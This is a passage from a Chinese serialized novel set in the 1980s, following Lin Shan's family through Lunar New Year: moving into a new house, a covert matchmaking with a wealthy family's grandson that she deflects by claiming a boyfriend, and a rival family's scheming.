赵桂花一时动情忘了这个，赶紧抹了把泪，双手朝天拜拜，嘴里嘟囔着：“老天爷保佑咱一家开开心心高高兴兴，顺顺利利挣大钱！” 林红也跟赶紧控制情绪，合掌拜了拜。 林珊心想这时候大年初一的禁忌还真挺多的，不能打，不能骂，不能哭，不能说穷啊、死啊之类的破嘴话。而且，好像连卫生都不能打扫。说是初一不能动笤帚，不然就会把好运财运都扫走了。 后世没那么多讲究，想干什么就干什么，但同时也少了一些年味儿。 吃过午饭，趁着回屋午睡的功夫，林珊把王军跟她聊过的事儿说了。 林红靠在床头听得面红耳赤，不由地想起上午王军盯着自己的模样。 “……所以我就说那你想不想让我姐知道，然后你猜他说什么？”林珊笑着问她。 林红有点好奇：“什么？” “他说他不想让你不舒服，想等你好了再告诉你。”林珊如实叙述，突然觉得自己特别像在帮两个中学生偷偷传纸条谈恋爱。 林红的脸比刚才还红，被妹妹看得特别不好意思，完全不知道该说什么。 林珊笑着宽慰了她几句，让她慢慢来，反正自己的任务已经完成，剩下的就是当事双方的事儿了。 初二是回娘家的日子，赵桂花时隔这么多年， 第一回带着两个闺女回村过年。以前家穷跟老弟走得不近，现在包子铺生意不错，赵福也每礼拜都去送一回菜，两边的关系就渐渐好了起来。 赵福年前就特地叮嘱过，让她们一家初二回去过年，一家人好好聚聚。赵桂花不去，看见黄玉芬那个抠搜劲儿就烦。结果赵福说是黄玉芬提的，让她们一定要来。 赵桂花将信将疑，最后在赵福再三保证下才定好初二回村。 母女三人骑了两辆自行车，带了一篮子鸡蛋和两包桃酥，来到了大岗村。 林珊本来以为黄玉芬请她们去家里聚聚，是有事儿想说，结果居然还真就是感谢她们这几个月的照顾。 到不是黄玉芬突然变得不抠门了，纯粹是赵福每礼拜从城里回来，都是又拿肉包子又拿点心的。她已经被儿子念叨得头大了，也是真明白大姑子一家现在是发达了，不会贪她家这点儿东西的。 林珊之前就想来村里一趟，可是一直没抽出时间，这次正好借着过年把想办的事儿说了。 铺子买肉的渠道她已经搞定了，白面却一直是没找到更便宜的。城里面粉一毛六一斤，村里都是老百姓用自家麦子磨的面，每年交完公粮，剩下的都是自己的。 林珊想让黄玉芬从村里收麦子，以后专门给自家供面粉。这样以后粮食多的时候她能从村里拿，吃紧的时候，照旧在市里买。 黄玉芬高兴坏了，又能多一笔钱，她恨不得饭都不吃就跑出去收麦子去。 林珊叮嘱她：“先找经常给咱晒豆角的那几家。”毕竟之前合作过，比较放心。 黄玉芬笑着点头：“珊丫头你放心吧，妗子知道该咋办，谁有余粮我都门儿清，我会挑些嘴严的。” “好。”林珊随后把自家要用的量说了，黄玉芬也估计了一下大概能弄到多少麦子，再加上还要送去磨，算上这部分开销之后，林珊给了个价格。 黄玉芬用小算盘一打，发现这买卖太能干了！随即看林珊一家就跟看财神爷似的，殷勤得不像话，弄得赵福哭笑不得。 回去的路上赵桂花还在嫌弃黄玉芬见钱眼开，不过语气中却透着浓浓的自豪和开心。 林珊这边过大年，省城的贺正岩也迎来了两天假期。 他家在京市，两天时间实在太赶，索性就留在部队了。白天练练操看看书，晚上礼堂有晚会，跟战士们联欢一下也挺好的。 年夜饭他没去食堂，用林珊寄过来的那些丸子、酥肉和上回的粉条，凑一块儿做了个一锅炖。 看着一般，味道倒是非常不错，再配上热得香喷喷的大肉包，感觉这伙食也不比隔壁胡大志家的差。 吃了人家的东西，自然就想到了人，林爱国这妹妹不仅字儿写得漂亮，人也聪明。摆摊没多久就开上铺子了，现在都要买房了，可见很有生意头脑。 这回她还在信上说，过完年要扩大一下铺子，把准备怎么做也说了，还询问他的意见。贺正岩不懂做生意的门道，在他看来小姑娘已经考虑得很全面了。 上次寄来的土特产，他回了一些礼，结果对方又送来一大箱东西，这次他打算回封信就算了，不然一直这么寄来寄去也不合适。 吃完饭没多久，母亲姜春荣打来了电话。 “六月差不多，我估计那时候能去看看你。”姜春荣在电话那头说。她整天在西北忙着科研工作，平时吃个饭都得人提醒，一年到头很少有时间跟儿子联系。 贺正岩非常理解母亲的工作，“我去看您也一样，我四月份有长假。” 姜春荣想了想，“行，你来看我也行，到时候让妈好好看看又瘦了没。” “没瘦，最近伙食不错。”贺正岩实话实说。 姜春荣笑了，随即却叹了口气，“那就好。儿子，妈想你了……” “嗯。”贺正岩低低地应了一声，不习惯说那种“想你”之类的肉麻话，即时是对着亲妈也张不开嘴。 姜春荣负责的是保密项目，不能谈工作，只好询问儿子的近况，什么累不累？受伤没有？思想进步没有？有相中的姑娘没有？ 对于个人问题，贺正岩每次回得都差不多：“没有。” 姜春荣发愁：“部队的女同志也不少，就没有一个欣赏的？” 贺正岩：“没有。” 姜春荣在电话那头沉默好大了一会儿，干涩地说：“儿子，妈对不住你，我跟你爸……没能给你做个好榜样。” 第24章 第24章 搬新家啦 贺正岩头大：“您别这么说, 没有的事儿。我是没往那方面想，跟您和我爸没关系。” 他知道母亲又开始内疚了，但他确实没动那个心思, 而且在部队也没碰见那种，一眼就特别欣赏的女同志。 姜春荣感觉得出儿子话里的认真, 心里稍微好受一点，不过她还是劝道：“儿子啊, 婚姻还是非常值得我们向往和追求的，你过完年也二十五了, 个人问题是时候该考虑一下了。” “好。”贺正岩应了。被催的次数越来越多, 说明他确实该好好找对象了。 母子俩又聊了一会儿，姜春荣那头就有人催了。贺正岩叮嘱她要多照顾身体, 吃饭要准时。姜春荣笑了, 感觉儿子在某些方面比她要成熟得多。 挂了母亲的电话, 还没走出两步远，父亲那边就打过来了。 贺振华一年到头同样没几天休息时间, 平时父子俩见不到面, 只能靠打打电话。这会儿全家都围在一块儿过大年, 只有他大儿子还在部队，这让贺振华心里有些不是滋味。 “……你阿姨说等你休假回来，要亲自下厨做糖醋鱼给你吃。” 贺正岩：“好，替我谢谢阿姨。” 贺振华听着大儿子没什么起伏的声音，心里叹了口气, 再瞧见旁边一直给自己使眼色的小儿子, 心里不禁感叹：孩子还是要自己养大得才亲啊。 正岩从小跟爷爷奶奶生活，一直到父母相继去世，才被他接了回来, 那时候孩子已经十六了。跟他们在一块儿客客气气生活了一年半，就直接当兵去了。说是父子，更像是陌生人。 贺启明在一边比划了半天，见他爸也没有把电话拿给他的意思，索性直接凑过去话筒，“哥，我过两天去部队看你行吗？” “不行！”贺正岩还没开口，贺振华就直接厉声拒绝了，“部队是你随便能去的地方？老实在家待着，别以为我不知道你想借着找你哥的名义，溜出去瞎玩儿。” 贺启明虽然跟贺振华很亲近，但到底还是怕他爹的，蔫不拉几地“哦”了一声，乖乖退出书房。 贺正岩把这父子俩的对话听得清清楚楚，内心毫无波澜，感觉贺振华没什么话可说了之后，他开口道：“我待会儿还得去礼堂。” “嗯，那行，你去忙吧。休假的时候提前给家里来个电话，我让司机去车站接你。”贺振华叮嘱他。 贺正岩应声之后，把电话挂了。 原本他打算去礼堂看看联欢会，这会儿突然没了兴致，从桌上拿起那本看了一半儿的新型战备书，掏出笔记本学习去了。 …… 林珊一家大年初三要正式开始搬家。 赵福一大早就带了村里的两个小伙子过来帮忙。 穷有穷得好处，那就是大件儿的家具非常少。整个屋里除了林老二和赵桂花结婚时打得两个一人高的立柜，其他的就都是些小东西。林珊前一阵让师傅打的那些小矮柜，是所有家具里最新的了。 不过家具不多，包裹可不少，三轮车拉了有十个来回，才把小屋所有的东西都挪到了新家。 赵福带来的两个小伙都还没结婚，接过林珊倒的热水时，脸红成了猴屁股，走路都差点一顺儿，被赵福踢了一脚才傻乎乎地回神。 母女三人都被逗笑了。 大家伙一块儿忙活了大半天，总算把家具和杂物都归置到位了。赵桂花和林红去给赵福他们做饭，林珊负责把整个屋子再打扫一遍。活灰擦干净，床上的褥子单子铺好，窗帘挨个装上。大小不合适就先凑活着，等开年之后再重做一批窗帘。 新房子屋子多，林珊终于有了自己的房间。她把小床放在了靠墙那边，还用钉子把布钉到墙上当墙围。 以前家里墙上糊的是旧报纸，现在新房子都是大白墙，所以需要裁上一块半米宽的布，定在靠墙的那边。安河这边流行这个。一是防止弄脏，而是怕它掉白灰。毕竟不是乳胶漆，一摸一手白。 林珊用的是一条旧床单，她用一半，林红那屋用一半，赵桂花那边则另外剪了一条。反正桂花女士搜集的破布多的是，不愁不够用。 她屋里除了床和小柜子，还有一张破旧的单人桌，乍一看是挺空的，但住了这么久人挤人的小屋，她可太喜欢这种能在屋里自由活动的感觉了。 墙不再透风，窗户也严严实实的，不用挨冻受潮的房子就是好房子！ 林珊忙碌了好半天，终于把三个人住的房间都打扫了个干净，其余的就明天再说吧。 晚饭五点钟开吃的，吃完赵福他们还得赶紧回村。好在过年家里的东西都是现成的，赵桂花和林红很快炒了几个菜，配上瓶酒，简单犒劳一下小伙子们。 搬家动静大，吃完饭送走赵福后，林珊发现有两家邻居在门口张望，她认出其中一位婶子是包子铺的熟客，连忙出去打招呼。 王婶子笑着说：“我还寻思陈叔把房子卖给谁了呢，这感情好，以后吃包子更近了。我们两家儿都爱吃你家的包子，那味道真没的说。” 一旁的胡婶子也点头：“是啊，我们都说爱国家不仅肉包好吃，姑娘们还长得这么好看，我看你们改名叫‘西施肉包’算啦。” 林珊笑着客气了两句，感谢两位婶子照顾生意，请她们有空来家里坐坐。 两位婶子特别热情，不一会儿就把其他三位邻居的情况都说了一遍，还特地叮嘱她：“你旁边这个杨老太脾气怪，看谁都不顺眼，轻易连门都不出，跟旧社会的小脚老太太似的。就算你跟她走个面对面，她也是爱答不理的。不过谁让人家儿子是当大官的呢，咱惹不起躲得起。” “是，我明白了。”林珊虚心受教，感叹邻居们都是藏龙卧虎。杨老太脾气怪，家世好。其他三家有在工商局上班的，有在派出所上班的，还有一个在旁边的财会学校当老师，两位婶子则全家都是纱厂和服装厂的工人。就只有林珊家是卖包子的。 之前的“富贵之歌”闹得挺大，婶子们也知道她家那些事儿，还忍不住骂了林富贵两句。 赵桂花洗完碗见闺女还站在门口说话，出来一看，立刻加入聊天，只要有她在，那任何说闲话的场合就冷不下来。 林珊见她已经跟两位婶子聊得全情投入，就腾出位置回屋帮林红整理包裹去了。 林富贵坐在自家门台前面，看着赵桂花那边门上挂着的锁，恨得牙都快咬碎了。他知道闺女不让他对这娘仨动手，但心里就是气不过。大过年的，他儿子在里头吃牢饭不说，闺女前两天还在派出所被教育了一通，到现在杨清明都被杨老爷子关在家里头。 街坊邻居们虽然一个个表面上看着以前一样，但是私底下还不知道怎么说闲话呢。 任凭林富贵想几百年，也不会想到自己会有抬不起头来的一天。 这才大年初三，赵桂花居然就这么搬走了，煤球一个没剩，瓦片也捡走一半。再想起那娘仨满脸喜庆的劲儿，他恨不得把她们全都锁里头，然后一把火把这破屋给烧了！ 那俩带瓣儿的都死了，一家人下去团聚多好。 林富贵在寒风中做梦，刘淑芬在屋里唉声叹气，林爱民带着老婆孩子回媳妇娘家去拜年了，满桌好吃的，这会儿只有林兰一个人在吃。 棒槌一家过得好，她心里也不爽快，但是做大事的人必须能屈能伸才行。能顺手办了林珊那娘仨最好，不行就慢慢来。现在最关键的是要低调挣钱，其他都是锦上添花而已。 反正以后她肯定不会留在安河，卖个包子能搞出什么名堂，撑死当个万元户。更何况等二哥出来自家铺子一开，“爱国大肉包”是注定要完蛋的。 吃过饭后，林兰把林富贵叫到一边，问了问他生意的情况。现在林富贵调到了外销处，能偷偷调出更多的货了。目前市场上需要纱线的地方越来越多，舅舅刘刚南下跑一趟车，最少能纯挣个小一千块钱。 林珊又给他出主意：“我舅上次捎回来的那些烟不错，这回可以试着多拿几条，另外要是有倒腾酒的，也可以搬一箱回来试试，现在这个阶段咱别跑空车就行，等开了铺子再慢慢加。” 林富贵点头应了，刘刚现在一年只能偷摸跑两趟车，等过了年，看看有没有办法再多加一些。毕竟都是厂里的车，由不得他们。算上卖烟一趟挣得是不少，但是打点关系也不少费事儿费钱，不多挣点儿实在是存不住啊。 “林珊那房子我也打听到了，好像说钱确实没给够，全指着把旧房子卖了慢慢儿还人家呢。爸你根本不用这么堵得慌，咱过一阵儿想买什么房子买不到啊。”林兰小声劝他。 林富贵听了这个，心里算是稍微好受一点儿，闺女说得对，什么都没有挣钱要紧！ 他上辈子一定做了不少善事，才有了这么一个好闺女。他这俩儿子一个就知道老婆孩子热炕头，一个整天吃闲饭到处惹事儿，只有这个小棉袄最争气，也最贴心！ “兰丫头啊，爸以后是不指望那俩兔崽子了，有你爸就知足了，以后你让爸干啥爸就干啥。”林富贵拍着闺女的脑袋感慨着，“诶，那天林珊在派出所胡说八道，不会影响你跟清明的关系吧？杨家可到现在都没把清明放出门儿。” “放心吧，没事的。”林兰嘴上这么说，心里却忍不住翻白眼。早看不上那王八蛋了，一想起他给棒槌写得肉麻信，让他当备胎都觉得恶心。 但是，谁让这家伙以后混得好呢。上辈子杨清明就坐到了处级的位置，这辈子他上的大学比前世好得多，肯定能更上一层楼。 所以就算为了以后的最低保障，她也得忍着。不过回学校之后，她势必要抓紧对贺启明下手了，要是能拿下他，就再也不用委屈自己了。 第25章 第25章 隐晦的相亲 初四大晴天, 阳光透过窗帘上的缝隙洒到屋内，让 林珊觉得无比幸福。 这是她穿来之后，睡得第一个安稳觉。不用被冻醒, 不用被院里的声音吵醒，不用担心起得迟抢不到水管用, 不用担心厕所没坑蹲。安安稳稳一觉到天明。 躺在温暖的被窝里伸个懒腰，没有一点想起床的念头。外间也还没有动静, 赵桂花和林红不是在睡就是跟她一样不想起，毕竟昨天忙活了一整天, 浑身上下哪儿都酸疼。 但是也不能一直不起, 今天还有事儿呢。 年前送花糕的时候，郭有财知道她们肯定会去给他拜年, 所以特意叮嘱初四再去。林珊想可能是他家过年事儿多亲戚多, 只有初四才方便吧。 因为今天还得去拜年, 林珊稍微躺了一会儿之后，起床洗漱。 厨房灶上有热水, 屋里的煤球炉上也放着热水壶, 家里冬天是不缺热水的。她先把煤球挨个儿换好, 厨房的灶热上早起要吃的花糕和包子，煤球炉煮上米汤后，这才端起搪瓷缸，跑去水池刷牙洗脸。 林红不一会儿也从屋里出来了，见林珊把火和饭都弄好了, 她也就兑好温水洗漱去了。 姐妹俩在水池边小声交流, “姐，睡得好吗？” “好，我都没起夜。”林红笑得开心极了, 搬到新家本来还有点儿不适应，想着会不会睡不着，结果竟然一觉睡到大天亮。 林珊笑了，“那就好，估计妈还睡着呢。”不然听到动静她肯定会起来的，应该是昨天搬家累到了，毕竟上了些年纪，没有她们年轻人恢复得快。 林红点点头，把嘴里的牙膏沫子吐了，“饭好了再叫她吧。” 赵桂花没睡到饭好，不多会儿也起来了，她乐呵呵地靠在门板上伸懒腰，“这一觉真舒服，你俩起得怪早的，没睡好啊？” “都睡好了，妈你赶紧洗洗吃饭了。”林珊笑着去摆碗筷，桂花女士心情愉悦地洗漱去了。 边洗，她还边感慨：“果然这钱花在哪儿，哪儿好啊，你看咱这院子！”不用全院二十几口子挤两个水龙头的日子，实在太舒服了。 姐妹俩笑了，谁说不是呢。 三人吃过早饭后，出发去了郭有财家拜年。礼品备的是两盒点心和一兜苹果。 郭有财住得地方不远，就在财会学校后头。那天送花糕的时候，母女三人已经震惊过了。他家是真大，比隔壁的杨老太家还要宽敞一些，几乎是她们新家的两倍。里头装得也特别气派，连门口的影壁墙上都雕着吉祥的图案，一看就是算过风水的。 虽然这个时候不让讲究这些，但老百姓谁不图个好彩头呢。 之前就听王军说过郭有财不差钱，爷爷那辈儿好像是什么大地主，家庭成分非常不好，属于走哪儿都没人要的主，只能在社会上当街溜子，好在他家祖业产多，政府没收了一大半儿后还剩下一些。 郭有财年轻的时候是靠收租过日子的，后来儿子们大了，社会也逐渐开放不少，他这才卖了几个地方让他们做生意去了。 听说老大现在都混到港城了，过年回来的时候那叫一个气派。 林珊一家没见到气派的郭老大，只见到了老三郭广发一家。郭有财说老大今年没回来，老二媳妇儿是外地的，他们一家初三就出发走亲戚了。只有老三能在家呆的时间长一点儿。 郭广发两口子穿得特别洋气，高领秋衣加羊毛衫，再配上蓝色的牛仔裤，时髦得让林珊有种错觉，好像回到了后世一样。 要知道现在大多数人身上穿得可都还是手工做的大棉袄，人家就已经穿上牛仔裤配羊毛衫了。 而且，林珊还发现郭有财家里居然是有暖气的，是那种自己装得暖气片，然后从外面烧煤供暖。整个屋子热得不像话，她们娘仨才在屋里待了不到十分钟，就已经开始冒汗了。 那天送花糕匆忙，连主屋都没进，这下可热坏了。 林珊本来以为说完吉祥话拜完年后，再聊几句家常就能走了。结果郭有财非要留她们吃午饭，郭广发两口子也特别热情地发出邀请。 林珊一家实在推脱不过，只好打扰了。 一开始林珊还以为人家只是单纯的热情，直到快吃午饭前郭广发的小儿子郭峰从外头回来，郭有财特地拉着他来跟自己打招呼，林珊瞬间明白怎么回事儿了。 这是一场连她本人都不知道的相亲吗？ 林珊心里有些不舒服，要相亲是不是应该先通知她一下？这种借着拜年的名号，不经过人家同意，就让自己家人偷偷来相看的行为，本质上就是一种不尊重。 但是念在郭有财帮了她不少忙，林珊忍了。 郭峰本来没把介绍对象的事当回事儿，结果一进屋人就傻了。这么漂亮的姑娘，就是在粤城他都没见过！比港城那些明星都好看！白白净净，个头还高，不笑的时候让人不太敢说话，稍微一笑，就又让人特别想把家里所有的好东西都拿给她。 尤其是那双眼睛，明明不是狐媚样儿，但就是特别太勾人，被她看一眼心脏就开始突突狂跳，脸也红得跟猴屁股似的。 虽然穿得不时髦，一身棉袄棉裤的，但是这都不是事儿，他家有钱！ 郭家长辈们一见自家的傻小子变成了个木头桩子，瞬间觉得这事儿有戏，对待林珊一家更热情了。 林珊两辈子容貌一样，早习惯了男性这种反应，对于没有恶意的，她一般回以一笑，对于不怀好意的大色胚子，自然有不同的手段来收拾他们。 眼前这个郭峰，显然是很单纯的那一挂的，所以她假装没发现异样。 郭有财满意地看着两个年轻人，笑得无比灿烂，“这小子跟着他爸在粤城做生意，平时不大能回来。珊丫头平时顾着包子铺的生意，也忙得脚不着地，你们两个在做生意这块儿，应该挺有话聊的。” 郭峰立刻接过话茬，“你也在做生意啊，开包子铺挺辛苦的吧？” “还可以，没那么累。”林珊本来听说郭广发一家在粤城做生意，还想趁机熟悉一下，好为她将来去粤城铺铺路，结果现在变成了隐形相亲，她就不好再套近乎了。 林珊做生意有个原则，不能用色相来为自己谋福利，不然这扇门一打开，人就容易落入万丈深渊。上辈子如此，这辈子也不会变。 她不否认长得漂亮很多时候是块敲门砖，但是敲开门之后是骡子是马骗不了人。她上辈子只想暴富，并没有结婚的打算，所以浑身上下都贴满了生人勿近的标签。 这辈子虽然整个人柔软了一些，但内心的核儿并没有变。招她惹她的，一个不放过，同样帮助过她的，也一个都不能忘。所以对待郭有财和他的家人，林珊选择礼貌回应。而且这个郭峰并没有作出任何不好的行为，说出来的话也不讨人厌。 “我听说卖饭特别累，一大早就得起来忙活，大晚上还不能睡，得准备第二天要用的东西。”郭峰对做生意略知一二，决定用自己的见识取得林珊的青睐。 林珊笑着点点头：“还可以，习惯就好了。” 郭峰强压住内心的兴奋，让自己深沉一些，但是她笑得实在太好看了，心脏又开始不听话地乱跳了。他佯装平静地说完自己对开包子铺的理解后，又谈起了自家在粤城的买卖。 没有明说是卖什么的，但是却把家里的财大气粗表现得淋漓尽致。 林珊听得都想笑了，觉得这个郭峰还挺可爱。他长得人高马大，进门时穿个厚羽绒服，脱了之后是一身儿牛仔装，脚上还登了一双运动鞋，时髦是相当得时髦，就是五官略显平庸，皮肤黢黑黢黑的，稍微破坏了一丝丝那一份用心打扮的精致。 郭有财没有读心术，以为俩人聊得挺好，心满意足地默默走开了，留下林珊和郭峰在小沙发这边聊天。 赵桂花被 郭广发老婆那一身装扮和那一头的大波浪吸引了注意力，夸得人家心花怒放，丝毫没发觉闺女那边的情况。倒是林红发现了端倪，犹豫着要不要过去看看。 不过她也没犹豫多久，饭菜就准备好了。 郭家一共准备了八道菜，其中有一小半是粤城那边的菜，还是郭广发亲自下厨做的。烧鹅和腊肠都是在那边买好带过来的，白切鸡是现做的，最中间那一大锅盆菜，更是做得有模有样。 林珊没有吝啬自己的词汇，夸了又夸。虽然隐形相亲这事儿她不开心，但是一码归一码，人家用心请吃饭了，她自然要好好表达谢意。 郭广发两口子笑得合不拢嘴，觉得林珊不但人长得好，还会说话，又能吃苦，简直就是他们想了又想的好儿媳妇。 郭有财跟老伴儿也挺满意，俩人相视一笑，越看越觉得林珊跟自家孙子般配。 吃完这各怀心思的午饭，林珊一家就撤了。郭峰想送她们回去，被林珊用还要去别人家拜年给拒绝了。 回去的路上，赵桂花表达着对郭家人的羡慕，林珊却有些发愁。 这事儿要怎么拒绝，才能不伤感情，让彼此都体体面面的呢？ 思考了一路，她决定还是用最老土的方法，那就是告诉对方自己已经有对象了。 第26章 第26章 我有对象 回去之后林红偷偷问她刚才什么情况, 林珊照实说了。 林红点点头，小声问她：“你不喜欢郭峰这样的，那你以后想找个什么样儿的？” 林珊张口就来, “英俊潇洒，才高八斗, 对我百依百顺，我让他往东, 绝不往西。” 林红被逗笑了，“你这要求也太高了, 人品好, 对咱好就行了。” 林珊也就是随口一说，找对象的吸引力, 可没有挣钱来得大。她目前只想搞钱, 搞得越多越好。 她这边这么想, 郭峰那边却已经下定决心，要趁着回粤城之前, 好好跟林珊相处一下, 争取早日将她拿下。郭家人都在给他鼓劲儿, 坚信自家孩子一定能成功。毕竟郭峰这么好的条件，上哪儿找啊。 郭有财之前还怕林珊太有主意，跟孙子合不来，结果今天见俩人聊得还挺好，坐一块儿看着也特别般配, 他想让这丫头给自家做孙媳妇的心就越来越旺盛了。在安河开包子铺太屈才了, 她应该跟着老三家到粤城挣大钱去！ 下午林珊出门找了王大娘一趟，打听了一下林富贵的情况。那狗东西一天到晚阴森森的，肯定憋着不少坏。之前顾铺子实在太忙, 遇到事只能被动防御，现在终于有了点休息的时间，当然要去挖他的老底。 这不挖不知道，一挖倒是有不少惊喜。 “富贵之歌”让林富贵在厂子里的声望下降不少，原本说好的调岗停掉之后，听说他掏了一笔巨资，好好维护了一圈关系，这才悄无声息被调到了外销处，厂里连榜都没出，好像是领导直接下的命令。 这种一看就知道有猫腻的事儿，林珊肯定要抓着不放。花钱也要调的原因，只能是为了更好地搞钱。 现在的大环境虽然在抓倒买倒卖，但是社会趋势却是越来越多的人开始偷偷当“倒爷”了。机关办的三产里，官倒都出来一大批了，更何况一个厂子。林富贵私底下，肯定在偷偷摸摸地卖纱线。 果然，顺着林富贵的人际关系一查，发现他有个小舅子也在纱厂上班，而且还是车队的司机。 穿这种线太容易了，一个弄货一个卖货，关键问题是怎么抓个现行。毕竟现在管这个事儿的都开始睁一只眼闭一只眼了，如果操之过早，恐怕到时候就算抓着了，判得也不重。而且这种罪一抓就会牵连出一大串人，谁还没点儿关系，别到时候没扳倒林富贵，自己反而折进去了。 林珊推测，林富贵目前应该还没干过多少回买卖，毕竟之前他在车间上班，出手不方便。调到外销处之后，恐怕才是他大显身手的时候。 林珊又琢磨了一会儿后，找到王军把自己的怀疑说了。 王军很赞同她的想法，“对，你先别声张，等我盯他一段儿时间，把关系网和所有情况都摸透之后，再找机会行动。” “好的军哥，那就麻烦你了。”林珊一个姑娘家又不能天天去盯梢，专业的事交给专业的人，她现在的首要任务是让包子铺更上一层楼。挣更多的钱，认识更多的人。 谈完了正事，王军让她等一会儿，然后不知道从哪儿牵出一条小狗来。 “本来准备当暖房礼送过去的，结果你们不准备办，那就自己领回去吧。”王军把绳子交给林珊。 林珊上辈子只养过一只大懒猫，一直没敢养狗是因为没时间遛，而且稍微大点儿的狗，味道那叫一个刺激，根本不适合楼房住户。 这会儿看着这只棕不溜秋的小土狗，她心都要化了，小家伙眼睛亮晶晶的，看着她直摇尾巴。 “多大了？”林珊蹲下去摸它，一摸，这小家伙尾巴摇得更欢了，直往她身上靠，一点儿都不怕人。 王军笑道：“快三个月了，母的，查过了身上没虱子。你们三个女同志，最好还是养条狗看家护院比较好，从小养得更亲一些。” “好的，多谢军哥啦。”林珊开心地抱起小土狗，非常感激他这么替她们着想。回家之后也没忘小声在林红面前夸王军，毕竟人家这么有心。 林红听完又弄了个大红脸，林珊都想笑了，这脸皮也太薄了。不过这次次脸红，应该也能说明一些什么吧。 赵桂花一见闺女抱回来了个小狗，那叫一个急啊，“你弄这玩意儿干啥，咱才刚吃几天饱饭，现在还得管它！” 林珊笑着解释：“军哥送的，说给咱们看家护院用。” 赵桂花一听王军的名字，顿时什么话都收回去了，跟小土狗眼对眼看了半天，又瞧着那小模样确实挺招人喜欢，不是很情愿地来了句：“行吧，不过才这么大点儿，我看是我护它还差不多。” 姐妹俩笑了，蹲在地上逗小狗玩儿。 “咱们起个名字给它吧？”林红摸着狗头说。 林珊想都没想：“旺财。” “啊？”林红愣住，这听着像个老头子的名儿，“郭、郭爷爷是不是叫有财啊？” 林珊一想也是，现在的人可还没就受过周氏电影的洗礼，叫这名字确实不太妥当，听着跟郭有财同辈儿似的，于是她换了一个：“来福。” 目前还不认识“来”字辈儿的人，这个名字能用。 “咱表哥……叫赵福。”林红小声提醒她。 林珊一噎，行吧，“大黄。”黄色的土狗一般都这么叫。 林红点点头，冲小狗伸出手，“大黄，你饿不饿？” 大黄显然很喜欢林红，一直舔她的手，小尾巴摇啊摇啊摇的，可把林红开心坏了。 林珊在一旁看着，突然觉得王军这招高啊，虽然她相信王军应该没那么多心眼儿，只是单纯想让她们养条狗保障一下安全，但是这侧面效果却出奇得好。 两姐妹跟狗玩儿了好一会儿，开始给它准备小窝、饭盆和水盆。赵桂花不想让大黄进屋住，可是家里又暂时没有能给它搭窝的砖，只好随了姐妹俩的意愿把大黄放进屋里去了。 次日是大年初五，最后一天休息日。 林珊吃过早饭，刚想教教大黄怎么握手，郭有财突然带着郭峰登门了。 “你们搬了新家，我怎么说也得来看一眼不是。”郭有财笑呵呵地让郭峰把提着的两大兜礼品放桌上。 “这是健力宝，粤城那边新出的饮料，味道特别好，还有气儿呢。这个叫高乐高，外国货，喝了对身体好。还有这些奶粉，也都特别有营养。”郭峰热情地介绍着自己带来的东西，满脸期待地想看林珊的反应。 林珊还没开口，赵桂花就诶呦呦叫着不要破费。可嘴上这么说，她人却笑开了花，长这么大没收过这么高级的东西，能不稀罕嘛。 “爷爷您太破费了。”林 珊不好意思收这份礼。 郭有财却说：“这才几个钱，你们跟我还客气什么。” 林珊扯出点微笑，要是不知道郭有财想撮合自己跟郭峰的话，她也就不客气了，但是知道了就不一样了。 郭峰见林珊有些不太敢要东西，心里对她的喜欢又多了不少，人漂亮，品德还好，一看就不是那种见钱眼开的人，这才是他一直想找的好姑娘。 爷爷还说她家里特别穷，全靠自己奋斗才买了这房子，这更是让郭峰从内心感到佩服，觉得这辈子再也遇不见比她更好的姑娘了。 赵桂花倒上热茶招待两人，配着糖和花生瓜子，几人围着煤球炉唠家常。中途可能是郭峰偷看林珊的次数有点儿过多了，导致后知后觉的赵桂花也明白过来怎么回事了。 她掐了掐大腿，控制住内心的激动，然后不着痕迹地瞄瞄林珊，再瞅瞅郭峰，心里忍不住暗暗点头。珊丫头要是真能跟郭峰好了，她做梦都能笑醒。 郭家可不是一般得有钱啊，郭广发一家又都在粤城做大生意，而且人家虽然富，却没有半点儿看不起人的架势，反而一直都客客气气的。 郭老爷子人品让人信得过，想来他家孙子也不会差的。不过看珊丫头那模样，好像还没明白人家这是对她有意思呢，待会儿可得好好点点她才行。 得知林珊家明天开市，郭峰高兴地说：“那明天我可要去店里，好好尝尝咱的招牌大肉包和肉丝面了。” 林珊微笑着应了。虽然知道用意，但人家并没有挑明，只是说要来吃饭，她断然不能把客人往外撵。 郭有财又聊了一会儿家常之后，决定切入正题，他单独把林珊叫到一边，“丫头，我跟你说个事儿。” 林珊知道这是要摊牌了，于是露出一副不明白对方要干什么的模样，乖巧点头：“您说。” 郭有财：“你……嗯，那什么，你觉得我家郭峰怎么样？” 林珊天真无邪：“很好啊，非常优秀，不愧是您的孙子，跟您一样能干。” 郭有财开心地笑了，“那把你说给我家郭峰，你俩处处对象怎么样？” 林珊脸上的表情定住，惊讶地看着对方，“爷爷……您是这个意思啊。” “是啊，你以为啥？”郭有财预感不妙。 果然，就见林珊挠挠头，特别不好意思地说：“我误会了，我还以为您是单纯问我郭峰人怎么样呢。” 郭有财知道这表情不是害羞和喜欢，心顿时凉了一半，没好气地说：“我闲的没事儿问你我孙子人怎么样干什么？” 林珊缩了下脖子，“对不起爷爷，我没往那方面想。” 郭有财：“那你现在想！” 林珊非常抱歉地看着他，真挚中又带着些羞涩，“对不起爷爷，特别感谢您看得起我，不过……我、我已经有对象了。” 第27章 第27章 卖掉旧屋 “啥？！”郭有财大惊, “我怎么不知道你搞对象了？！” 林珊害羞地说：“有一阵儿了。” 郭有财气坏了，对抢了自己孙媳妇的家伙极其不满，“谁？干什么的？怎么认识的？！” 林珊瞎编：“是我哥部队的战友, 您不认识，对我和我家人都特别好。所以……我们就、就——” “行了行了！”郭有财无比烦躁, 顿时觉得林珊一点也不可爱了，都成别人家的了, 害他还高兴半天！余光瞅见自己那傻孙子还在往这边偷看，一个头两个大。 “认真处的？”郭有财还是有些不死心, 万一过两天就散了, 说不定他家峰峰还能拔了这个杠头。 林珊羞涩地点点头，“是的。” 得, 郭有财彻底死心, 气呼呼地甩下林珊领着郭峰走了。 郭峰一脸懵, 赵桂花也在后头摸不着头脑，“怎么了这是？”刚才还好好的, 怎么一会儿功夫就生气了。 “他想把郭峰介绍给我, 我说我有对象了。”林珊说完弯腰去收拾茶杯, 被赵桂花一把拦住，“你说啥？！什么叫你有对象了？！你、你啥时候有的对象？！” 林珊解释道：“我没对象，我是对郭峰没意思，所以用这种方法拒绝了。” “你为啥对郭峰没意思？小伙子条件多好啊，郭叔什么人咱也清楚。”赵桂花眉头紧皱, 不明白为啥非得把自己的路给断了。 林珊拉着她坐回板凳上, 